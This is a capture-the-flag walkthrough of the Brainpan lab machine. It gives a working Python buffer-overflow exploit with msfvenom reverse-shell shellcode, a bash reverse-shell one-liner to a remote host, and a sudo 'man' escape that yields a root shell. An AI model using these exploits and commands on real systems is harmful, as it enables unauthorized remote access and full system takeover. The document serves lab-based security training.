Summary

Brainpan is an easy buffer overflow challange where need to overflow a buffer to redirect the control to our shellcode. The binary in question is a windows binary, however it is running within a Linux machine.

Enumeration

  1. Open ports:
# Nmap 7.92 scan initiated Wed Jun 29 20:51:33 2022 as: nmap -A -T5 -Pn -oN init-nmap-scan 10.10.179.14
Nmap scan report for 10.10.179.14
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.92%I=7%D=6/29%Time=62BC9F3E%P=x86_64-pc-linux-gnu%r(NU
SF:LL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|
SF:\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\
SF:x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x
SF:20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x
SF:20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x
SF:20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 29 20:52:15 2022 -- 1 IP address (1 host up) scanned in 42.56 seconds
  1. Using netcat nc 10.10.179.14 9999 we get greeted with a prompt asking for input. Since it’s a bufferoverflow I assume this is an input that needs to be overflown.
  2. On port 10000 we see a website with an image about “practicing safe coding”.
  3. Enumerate the website using gobuster
gobuster dir -u http://10.10.179.14:10000/ -t 10 -w /usr/share/dict/directory-list-2.3-medium.txt -o gobuster-scan

/bin                  (Status: 301) [Size: 0] [--> /bin/]

At http://10.10.179.14:10000/bin we also see brainpan.exe. Attempting to run this with wine, I see that it looks like the prompt on the server. Assuming it’s the same binary as the one running on the server.

Finding the buffer size

  1. I analyze this file in ghidra. Looking at where the input is given, we see that _strcpy() is used to copy the input into a buffer. I know that strcpy() doesn’t check for buffer size and will copy even if it doesn’t fit, can overflow.
  2. In the decompile window we can also see that the buffer _strcpy() copies to is also decleared with the size of 520. This means that we have our buffer size. We could also have used metasploit/tools/exploit/pattern_create.rb with metasploit/tools/exploit/pattern_offset.rb to find the size.
  3. I’m not sure what protections are on this binary, but I’m going to try to overflow the buffer and execute my shellcode on the stack. To do this I want to fill the EIP with the address of an jmp ESP. Looking at the debugger I see that there is a 4 byte offset to the EIP register, so I need to do 524 chars for the overflow. There happen to only be only one case of jmp ESP instruction and that instruction happend to be within a function called _winkwink. I think this is a good sign that I’m on the right track.

Building our script

  1. First I tried to fill the buffer then see what registers gets filled next. The next one that got filled was the EIP register. Since I want to redirect the code flow to our jmp ESP, I copied this address to my script;
import sys, socket

addr = "127.0.0.1"
port = 9999

buffer = b"A"*524
# little endian
buffer += b"\xf3\x12\x17\x31"
buffer += b"\r\n"

try:
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((addr, port))
    s.send((buffer))
    s.close()
except Exception as e:
    print(e)

Ghidra told me that this was “little endian” this means that we go from right to left instead of left to right. so 0x311712f3 => \xf3\x12\x17\x31.

Running the script the application now crashes when it hits junk on the stack.

  1. Next step is to check for bad characters. I went to this website and copied their list of bad characters. I then added all these characters to the buffer. Looking at the stack for my application I could then see if a spesific byte didn’t work or not. I’m also assuming 0x00 is a bad characters as it’s null terminator.

Making our payload

  1. To create our shellcode I used this command msfvenom -p windows/shell_reverse_tcp -b "\x00" LHOST=127.0.0.1 LPORT=8080 -f python -a x86 I then added this output to our buffer in our script. I also added some padding to make sure we get all of our shellcode.
import sys, socket

addr = "127.0.0.1"
port = 9999

buffer = b"A"*524
# little endian
buffer += b"\xf3\x12\x17\x31"

# padding
buffer +=  b"\x90"*10

# local payload
buffer += b"\xba\x71\x66\x49\x9b\xd9\xc9\xd9\x74\x24\xf4\x5d\x2b"
buffer += b"\xc9\xb1\x52\x31\x55\x12\x83\xed\xfc\x03\x24\x68\xab"
buffer += b"\x6e\x3a\x9c\xa9\x91\xc2\x5d\xce\x18\x27\x6c\xce\x7f"
buffer += b"\x2c\xdf\xfe\xf4\x60\xec\x75\x58\x90\x67\xfb\x75\x97"
buffer += b"\xc0\xb6\xa3\x96\xd1\xeb\x90\xb9\x51\xf6\xc4\x19\x6b"
buffer += b"\x39\x19\x58\xac\x24\xd0\x08\x65\x22\x47\xbc\x02\x7e"
buffer += b"\x54\x37\x58\x6e\xdc\xa4\x29\x91\xcd\x7b\x21\xc8\xcd"
buffer += b"\x7a\xe6\x60\x44\x64\xeb\x4d\x1e\x1f\xdf\x3a\xa1\xc9"
buffer += b"\x11\xc2\x0e\x34\x9e\x31\x4e\x71\x19\xaa\x25\x8b\x59"
buffer += b"\x57\x3e\x48\x23\x83\xcb\x4a\x83\x40\x6b\xb6\x35\x84"
buffer += b"\xea\x3d\x39\x61\x78\x19\x5e\x74\xad\x12\x5a\xfd\x50"
buffer += b"\xf4\xea\x45\x77\xd0\xb7\x1e\x16\x41\x12\xf0\x27\x91"
buffer += b"\xfd\xad\x8d\xda\x10\xb9\xbf\x81\x7c\x0e\xf2\x39\x7d"
buffer += b"\x18\x85\x4a\x4f\x87\x3d\xc4\xe3\x40\x98\x13\x03\x7b"
buffer += b"\x5c\x8b\xfa\x84\x9d\x82\x38\xd0\xcd\xbc\xe9\x59\x86"
buffer += b"\x3c\x15\x8c\x09\x6c\xb9\x7f\xea\xdc\x79\xd0\x82\x36"
buffer += b"\x76\x0f\xb2\x39\x5c\x38\x59\xc0\x37\x38\x9e\xca\xc6"
buffer += b"\xae\x9c\xca\xd7\xbe\x28\x2c\x8d\xae\x7c\xe7\x3a\x56"
buffer += b"\x25\x73\xda\x97\xf3\xfe\xdc\x1c\xf0\xff\x93\xd4\x7d"
buffer += b"\x13\x43\x15\xc8\x49\xc2\x2a\xe6\xe5\x88\xb9\x6d\xf5"
buffer += b"\xc7\xa1\x39\xa2\x80\x14\x30\x26\x3d\x0e\xea\x54\xbc"
buffer += b"\xd6\xd5\xdc\x1b\x2b\xdb\xdd\xee\x17\xff\xcd\x36\x97"
buffer += b"\xbb\xb9\xe6\xce\x15\x17\x41\xb9\xd7\xc1\x1b\x16\xbe"
buffer += b"\x85\xda\x54\x01\xd3\xe2\xb0\xf7\x3b\x52\x6d\x4e\x44"
buffer += b"\x5b\xf9\x46\x3d\x81\x99\xa9\x94\x01\xa9\xe3\xb4\x20"
buffer += b"\x22\xaa\x2d\x71\x2f\x4d\x98\xb6\x56\xce\x28\x47\xad"
buffer += b"\xce\x59\x42\xe9\x48\xb2\x3e\x62\x3d\xb4\xed\x83\x14"

buffer += b"\r\n"
try:
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((addr, port))
    s.send((buffer))
    s.close()
except Exception as e:
    print(e)
  1. Now listening on my local machine with the command nc -lnvp 8080 and running this script, I get a cmd shell on my local machine.
  2. I can now remake the shellcode with my vpn ip and try it on the server. And boom! We now have a user shell! Because the cmd shell was a little buggy and I wanted a bash shell I used /bin/bash to run the command bash -i >& /dev/tcp/10.10.10.10/8081 0>&1 to get a regular bash shell.

Privilege escalation

  1. Enumerating using linPEAS I found a file that can be ran as sudo with no password.
...
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
...
  1. Running this file I get prompted with
puck@brainpan:/tmp$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]
puck@brainpan:/tmp$

network prints out ifconfig proclist prints top but manual runs sudo man [command]

  1. When we are in the the manual pager utils we can escape it by hitting !command. Typing !bash will then give us a root bash shell.
root@brainpan:/usr/share/man# cd /root
cd /root
root@brainpan:/root#cat b.txt   
cat b.txt
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|


                                              http://www.techorganic.com 



root@brainpan:/root# id
id
uid=0(root) gid=0(root) groups=0(root)